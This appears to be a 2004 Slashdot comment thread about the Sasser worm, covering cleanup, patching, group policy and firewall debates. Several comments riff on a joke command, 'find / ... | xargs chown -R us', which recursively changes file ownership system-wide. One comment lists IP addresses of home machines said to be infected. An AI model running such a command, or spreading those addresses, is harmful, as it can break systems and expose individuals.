      Well, I tried it and instead of just replacing the deleted notepad.exe with the desired one, it popped up an error message saying it needed the Windows XP CD-ROM to restore the 'critical system files'. I just cancelled that, however, and it left the new file there when I copied it in.

  130. my mom had this today... by Chuck+Bucket · · Score: 1

    I only run Linux and OS X at home, so walking my mom through getting rid of this virus today (while she was 1000+ miles away) on XP was a challenge. I had her dnld stinger and spybotpro, and got things cleaned up (I though she had McAfee running...). Damn, I need to move back home so I can install Linux for her and demand that she get DSL so I can admin it.

    PVCB

  131. SP2 beta users cannot patch!! by zardie · · Score: 1

    It seems that for anybody running the Service Pack 2 preview release (which has a lot of nice features such as IE popup blocking, better wireless client etc), there's no hope of patching your system as Microsoft has not made an SP2-compatible patch available yet. The downloadable patches won't install and Windows Update v5 doesn't show the new patches there.

  132. yes, but... by Anonymous Coward · · Score: 0

    > Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you?

    yes - but all my friends/relatives don't. have had several frantic calls tonight...

  133. left out again by dolson · · Score: 1

    I wish they'd port this to Linux so I get to use this worm.

    Oh, maybe WineX will run it?

  134. Re:Linux is vunerable too (The anti-anti-windows F by Anonymous Coward · · Score: 1, Interesting

    3. Windows is cheaper then Linux even though Linux is free. It's a TCO type of thing.
    What you mean is that it's cheaper to hire somebody to fix a Windows box than a Linux box. There is a grain of truth in this. Windows often packs up for no appareny reason. Almost any unskilled monkey can "fix" a broken Windows box just by hoicking out the power lead, counting to ten and putting it back. Linux only ever misbehaves with a good reason, and requires someone who knows their arsehole from their earhole to fix it.

    ^^^^^^^^

    I work in IT and we rarely see issues with software on our machines. It's always the hardware nowadays. Sure if you get hit with spyware and shit like that you may have problems but that's NOT a flaw in Windows. You'd get the same garbage if they targeted Linux.

    With a little common sense Windows will not crash unless you're running poorly written software. Of course you'll still blame Microsoft when someone like Adobe hasn't patched their distiller software in 2 years.

  135. "Please contact your system administrator." by seibed · · Score: 1

    I dunno, a little "self contact" always helps me to relax!

  136. Sasser by rush22 · · Score: 2, Funny

    warning: attempt at humour follows.

    Windows' House
    A worm appears. Windows is surprised.

    Enter Worm

    Windows (moronically): duh hello? What are you doing in here?
    Worm (aloof): Hey windows, how's it goin? Just wonderin' if I could, ya know, come on in for a bit. I know you don't really know me and all, but I just kinda found you here..
    Windows: duh you look like an old friend.. what's his name, Bob.. Blast.. something or other. Ok since you're already here, it's not much, but there's a nice breeze that blows through.
    Worm: Can I leave some of my stuff here?
    Windows: Ok by me, there's a whole bunch of stuff here, people come by all the time picking stuff up, dropping it off. (helpfully) Let me take that for you.
    Worm: Nice! Ummm, while I'm here, I have some code, and I just need a bit... err.. executed. Is that ok?
    Windows (wary): Well... I don't know you that well.
    Worm: C'mon, please? I'm friends with that guy in, uh, the service department, obviously I couldn't get in if he didn't let me in.
    Windows (relieved): Oh him! Oh yeah, he's friends with a lot of people. Ok, I'll execute the code... there ya go all done.
    Worm: Excellent. Ok, gotta go.

    Enter Zone Alarm

    Zone Alarm (alarmed): What's all this then? Who's this guy? Where is he trying to go? Why wasn't I alerted?!
    Windows: Oh, he's just... a guy.. he came in for a bit.
    Zone Alarm: How did he get in??
    Windows (frustrated): Through the service entrance, I told you I got a lot of things going through there and don't want you bothering me about it all the time. The last time you blocked off the service entrance noone could get through.
    Zone Alarm: Well don't let him out...

    Exuent Worm

    Zone Alarm: ...er where did he go?
    Windows (ashamed): Out the service entrance.
    Zone Alarm: That's it I quit.

    Exuent Zone Alarm

    THE END

  137. The Culprit! by Lord+Custos · · Score: 1

    For the last hour my WinXP box has been shutting itself down because of a crash in lsass. It's caused by a program avserve2.exe called being dropped into the Windows\ directory, and added to the startup sequence.

    (Note: I haven't had a chance to actually read this thread yet. If someone else has already warned everyone about avserve2.exe, please disregard this message.)

    1. Re:The Culprit! by Lord+Custos · · Score: 1

      Sorry, one small correction...

      For the last hour my WinXP box has been shutting itself down because of a crash in lsass. It's caused by a program called avserve2.exe. Infectee's will find it in the Windows\ directory, and added to the startup sequence.

      (Note: I haven't had a chance to actually read this thread yet. If someone else has already warned everyone about avserve2.exe, please disregard this message.)

  138. The Problem is. by rodgster · · Score: 1

    Where do you find the list of shit that windows needs just to boot. So you don't BSOD your machines with a GP? And then can't undo the GP because it won't boot far enough to execute the GP.

    Honest question. If you have the answer. Thanks in Advance. I'd love to implement this in several companies I manage.

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    Who will guard the guards?
    1. Re:The Problem is. by Foolhardy · · Score: 1

      Usually you have a path rule to allow everything in %SYSTEMROOT% (the Windows directory). Then you can use filesystem permissions to prevent files from being added/changed. If you want an actual list, the loaded module list from msinfo is a good place to start. Run msinfo32.exe from \program files\common files\microsoft shared\msinfo\, look at loaded modules under software environment. I guess you could always add every file in the windows directory :)

      If your system stops working because of a bad rule, you can still fix it by mounting the registry using a good install. First you need a windows install with physical access to the drive. A bootable BartPE CD is probably the best way. An extra backup install would work, and transplanting the hard drive to another computer as a last resort. Then you open regedit, select a mount point, say HKLM, select File->Load Hive. Find the 'software' file under windows\system32\config\ on the damaged install. Now you have the entire software branch of that computer's local registry mounted. Navigate to (on the new tree) software\policies\microsoft\windows\safer\. All the rules are stored here. It's not as nice as the MMC snap-in, but you can delete bad rules in an emergency. When you are done, select the registry hive you mounted, and select Unload Hive from the File menu.

    2. Re:The Problem is. by rodgster · · Score: 1

      Thanks, for the effort, but I already knew that.

      Allowing everything in %systemroot% is not an option, since a lot of spy ware and virii install to that locale. Having users run as unprivledged should take care of the permissions issue to begin with (done).

      The thing is it gets a little more complicated when you have users on RDP, VPN, local, etc.

      Rodger

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      Who will guard the guards?
    3. Re:The Problem is. by Foolhardy · · Score: 1

      Creating a rule for every standard OS file is the only other option I can think of; but it's impractical. It would take a long time to create a hash of every file, and it would be broken by every update. Some kind of program to turn a group of files into a security template script for GPO would make it practical... I don't know of any such program but it would make an interesting project.

      Still, it should be possible to have all users, remote or not, be unprivledged. RDP is like a local connection (for security); users use the same logon. VPN users also have to log on with a specific user too. Even if you allow tunneling for SMB or other services on the VPN, those are securable too. It should be possible for every user to have access to a single, normal account only.

    4. Re:The Problem is. by rodgster · · Score: 1

      In all corporate environments that I manage, there are Only users with Standard User accounts. Nobody has local admin. That reduces the likelyhood of compromise, however it increases the amount of support requests.

      That has been done.

      I was interested in a decent checksum util for win32. I know every service pack and update would change these check sums, but with knowing what files are changed, and the checksum of the 'new' files, any other altered system files would stand out like a sore thumb.

      Thanks for your input, but I have those boxes already checked.

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      Who will guard the guards?
  139. Here's couple of infected hosts by rodgster · · Score: 1

    66.130.206.191 (modemcable191.206-130-66.mc.videotron.ca) : whois.arin.net

    Le Groupe Videotron Ltee VL-9BL (NET-66-130-0-0-1)
    66.130.0.0 - 66.131.255.255
    Le Groupe Videotron Ltee VL-D-QS-4282CE00 (NET-66-130-206-0-1)
    66.130.206.0 - 66.130.206.255

    # ARIN WHOIS database, last updated 2004-05-01 19:15
    # Enter ? for additional hints on searching ARIN's WHOIS database.

    68.62.154.154 (pcp08146547pcs.tsclos01.al.comcast.net) : whois.arin.net

    Comcast Cable Communications, Inc. JUMPSTART-1 (NET-68-32-0-0-1)
    68.32.0.0 - 68.63.255.255
    Comcast Cable Communications, Inc. TUSCALOOSA-3 (NET-68-62-128-0-1)
    68.62.128.0 - 68.62.159.255

    # ARIN WHOIS database, last updated 2004-05-01 19:15
    # Enter ? for additional hints on searching ARIN's WHOIS database.

    4.64.159.82 (atlnga1-ar3-4-64-159-082.atlnga1.dsl-verizon.net) : whois.arin.net

    Genuity GNTY-4-0 (NET-4-0-0-0-1)
    4.0.0.0 - 4.255.255.255
    GTE Intelligent Network Services GTEINS-64-152-30 (NET-4-64-152-0-1)

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    Who will guard the guards?
  140. Firewalls by rodgster · · Score: 1

    The problems is most luser just click "yes" (install, trust, etc) to any dialog box they see.

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    Who will guard the guards?
  141. Re:Linux is vunerable too (The anti-anti-windows F by ajs318 · · Score: 1

    I actually suspected that all along. But, when you're fighting a troll, you want to be really sure that the punch you're about to throw will put them on the floor -- 'cause if it doesn't, you're out of a defensive position.

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    Je fume. Tu fumes. Nous fûmes!
  142. Cost of ownership. by zonix · · Score: 1

    Cost of ownership is quite a relative term IMO.

    Example: How do you calculate the cost of having copies of your private email correspondance and selected private documents from your "My Documents" dir emailed out to everybody by a worm like Klez? Let's say you were gay, that's a fast way to get out of the closet! How about confidential information in a company?

    Remember, it's nok like they just get emailed around the world to people you don't know anyway, and who probably could care less about you. It's people you regularly have email correspondance with. People who know you!

    These kinds of attacks truly are the most damaging to any person or company.

    z
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    What would an EWOULDBLOCK block, if an EWOULDBLOCK could block would? -- me
    1. Re:Cost of ownership. by yulek · · Score: 1

      Cost of ownership is quite a relative term IMO.

      oh, i totally agree with this and the rest of your post.

      i should have said the perceived cost of ownership of windows machines... after all, everyone thinks they know enough to admin one so why pay some smart guy a big salary when you can hire an MSCE instead...

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      in this age of communication i'm just not getting through
  143. user XPerience, sure ... by Anonymous Coward · · Score: 0

    yah, so i was bitching bout the average user
    a few days ago. sorry bout that, cause i just
    realised how much god-da*m time i've spent on
    MS's Os'es since DOS came out and i'll just be plain honest with you that more then 80% of my
    time using the computer after win 3.11 was just
    getting to know the software/os.

    by god, WHERE IS ALL THE DOCUMENTATION!!!!

    why do i have to go to a "any" site to find out
    about XP services?
    why is there no database on a MICROSOFT-domain that
    tells me WHAT should be in the registry and what not? like i found this "k=ku+" registry key in
    my ... duh ... registry. shoudl it be their?

    what about all these executables in windows dir and system32 directory. WHAT DO THEY DO?
    15 years of trial-and-error since using MS ...

    using MS for the sake of it. sure starting to feel
    like a religion ...

    "please check with your administrator", e.g. me?

  144. Wrong by BoomerSooner · · Score: 1

    The patch was initially released and still shows April 11th as the release date. However, if you download the patch on April 28th or later you'll see they fixed bugs in it and re-posted the file with the same original date instead of creating a new entry for April 28th. I got lucky and read about this on netcraft.

    This is scary shit to me since there is now no easy way to know if MS has fixed a fix. Bad form Microsoft, bad form.

  145. Your sig by HuguesT · · Score: 1

    Sorry to be pedandic,

    find / -name "*base*" -exec chown -R us {} \;

    works better.

    1. Re:Your sig by zcat_NZ · · Score: 1

      Your solution spawns one chown per *base*. The original solution using xargs spawns chown only once (or as few times as possible if there's more *base* files than can be fit on a single command line) and is much more efficient on OS resources.

      Sorry to be pedantic ;)

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    2. Re:Your sig by Eunuchswear · · Score: 1
      Yes, but the xargs version screws up if one of the filenames has spaces in it.

      You want:

      find / -name '*base*' -print0 | xargs -0 chown us
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      Watch this Heartland Institute video
    3. Re:Your sig by Molina+the+Bofh · · Score: 1

      Did you test it ?

      find / -name '*base*' -print0 will output all the bases in just one line. And xargs will not allow them to be owned.

      find / -name '*base*' | xargs -0 chown us
      works fine.

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      Roses are #FF0000, Violets are #0000FF, find / -name '*base*' |xargs chown -R us && mv zig greatjustice
    4. Re:Your sig by Molina+the+Bofh · · Score: 1

      sorry, make it chown -R, as *base* could be a directory

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      Roses are #FF0000, Violets are #0000FF, find / -name '*base*' |xargs chown -R us && mv zig greatjustice
  146. Re:Linux is vunerable too (The anti-anti-windows F by ajs318 · · Score: 2, Insightful

    Yeah, but not everyone is as fastidious as you. In my line of work, I have experienced all sorts of idiots who shouldn't be allowed to use a pocket calculator, never mind the Internet. I've had to deal with people who don't know the difference between an e-mail address and a website URL, and even one person who didn't know the difference between an e-mail address and their own name! And the scary part is, these were the most tech-literate people working for their own companies. I've tried saying to people, "Get your IT person to set your Outlook Express {they always use that, despite the fact that anyone with half a brain knows how terrible it is} up with these parameters ....." and found that the clueless tosser on the other end was the IT person. {Even if our internal "no source, no sale" policy didn't forbid using Outlook Express our end, it would still be such a horrible buggy piece of software we wouldn't touch it with a barge pole; but these people insist on using it}. If they were running Linux, I could just get them to temporarily set a new root password, SSH into their box, set everything up for them, and that would be Job Done.

    Well-set-up Windows systems can be much more secure than badly-set-up Linux systems. The trouble is that Linux users tend to {have to} be more clued-up. Part of the problem is the way Windows is pre-installed on so many machines. The supplier has to keep everything as general-purpose as possible, because they don't know what requirements the user's ISP will place on them -- which, in practice, means rather permissive defaults. In turn, the fact that it just works at first, despite the unnecessary ports and services, leads users not to think about security until it's too late already. With Linux {some obsolete RedHat versions excepted}, everything starts off inactive -- you have to select only what you want to allow. But that probably would also happen if users had to install Windows for themselves; or, even if pre-installed Windows systems had to be configured up from a "deny-all" situation. It means you have to use your brain a little bit, but that's hardly a bad thing -- as harsh as this may sound, it's more important that the job should be done properly, for the sake of other Internet users, than easily and maybe badly.

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    Je fume. Tu fumes. Nous fûmes!
  147. Re:Why? by CyberDruid · · Score: 1

    Hmmmm... I honestly want to know why I need a firewall. I run linux. I know exactly which ports are open (lsof, netstat and nmap can tell me), only the ones that should be, and I use tcp-wrappers when I want to limit access to a subnet.

    Exactly what would a firewall do for me?

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    Opinions stated are mine and do not reflect those of the Illuminati

  148. Free scanner tool for Sasser-vulnerable maschines by Owambo · · Score: 1

    This is a very helpful free tool: It can scan IP ranges for computers that are vulnerable to be affected by the Sasser worm. Download here. "A Windows network admin utility for remotely detecting LSASS vulnerability released in the MS04-011 bulletin. Allows you to scan multiple IP ranges and send an alert message to vulnerable systems."

  149. Question: What does this virus actually do? by Progman3K · · Score: 1

    I mean I understand that it replicates and all, but most viruses are programmed to perform specific tasks.

    Like popping-up ads on the user's machine, redirecting the user's browsing requests, DDOSing SCO, etc...

    What is this viruses goal other than replicating?

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    I don't know the meaning of the word 'don't' - J
  150. Re:Removal Instructions [mirrors] by AvantLegion · · Score: 1
    http://www.apple.com/macosx

    Sloppy, sloppy, sloppy! You can't install Mac OS X on a PC - therefore it's no good for virus removal on one. Same reason I didn't list Yellow Dog Linux.

    The other BSDs are OK.

  151. Re:Removal Instructions [mirrors] by Anonymous Coward · · Score: 0

    Darwin runs fine on x86, however, and rumours have Apple running OS X internally on x86.

  152. Re:Why? by gorfie · · Score: 1

    Let's say you are the CIO for a Fortune 500. Is that valid reasoning for not using a firewall?

    Security is about levels. Just because you lock all your doors and windows doesn't mean you don't need an alarm/fence/guard dog. Of course, you can run a system that has nothing on it in your house and you probably won't ever have a need for a firewall.

    Just as an example, let's say you run a file sharing service on your Linux box (Samba). You figure it's Linux so it's safe, and you don't patch regularly and don't run a firewall. While I personally enjoy Samba, it does have the occasional security flaw and, if unpatched and left open to the world, can potentially be exploited. Patching and/or a firewall can significantly reduce the chances of your system being compromised because (a) the exploit won't work and (b) the attacker can't connect to use the exploit.

  153. Re:Linux is vunerable too (The anti-anti-windows F by Whispers_in_the_dark · · Score: 1

    I've had to deal with people who don't know the difference between an e-mail address and a website URL, and even one person who didn't know the difference between an e-mail address and their own name!

    I'll go one further, albeit even further off-topic. An aquaintance of mine has so confused the concepts of dial-up, email, and bandwidth that they are actively reselling their own dial-up account. The justification for this astonishing business is the premise that the ISP provides him with unlimited email accounts and bandwidth despite it being very clear that he only gets one dial-up account. Even after trying to explain calmly to the poor fellow that email and bandwidth have to do with the ISP's connection to the rest of the net versus their connection to him, he still is trying to resell his $50 "business" account to 25 "customers" at $10 apiece.

    I suspect he'll get away with it for a little while, but sooner or later they will cut him off... or something of his anyway...
  154. Re:Why? by CyberDruid · · Score: 1

    This explained nothing to me. Your strange analogies about extra protection seemed completely irrelevant. I just don't see how a firewall gives me extra protection.

    I don't run Samba and if I did I would use hosts.allow to limit access to the IPs that should have it. What additional security can iptables (or whatever) give me? I am not making an argument. I just don't understand what it is good for outside a complicated business environment.

    The original poster seems to think that it adds some mysterious level of protection that everybody needs.

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    Opinions stated are mine and do not reflect those of the Illuminati

  155. Firewall?? We don't need no stinkin Firewall! by darkonc · · Score: 1
    "We don't use a firewall. We use an airgap"
    • CSIS network admin ~1995
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    Sometimes boldness is in fashion. Sometimes only the brave will be bold.
  156. tracking viral emails by darkonc · · Score: 1
    First things first: Start running Linux. (doesn't have to be on your desktop, but I'd recommend it).

    In any case, you can do a 'show all headers'. Look at the 'Recieved' lines... Ignore the first line (it's going to be from your ISP), and any other lines that seem to indicate that your ISP bounced the messages around internal boxes. The next IP after that is going to be either direct from the box, or it's related ISP service. (ignore the name that often turns out to be incorrect/misleading)

    Do a 'whois' lookup on that IP, and send an email to the 'abuse' owner of the netblock. (this is where Linux comes in handy). If the IP is the address of a box you know, then you're in trouble.

    I actually have a set of perl & shell scripts that take a message with forwarded attachments, peels out each attachment, looks at the headers, does the necessary logic and then emails the responsible ISP. I'm a bit lazy, though. I just look at the reverse DNS and use that to get the name of the responsible ISP.

    At that point, I just have to gather up all of the day's virus emails, and forward thtm to 'report@localhost' and let Linux do the rest of the work for me.

    --
    Sometimes boldness is in fashion. Sometimes only the brave will be bold.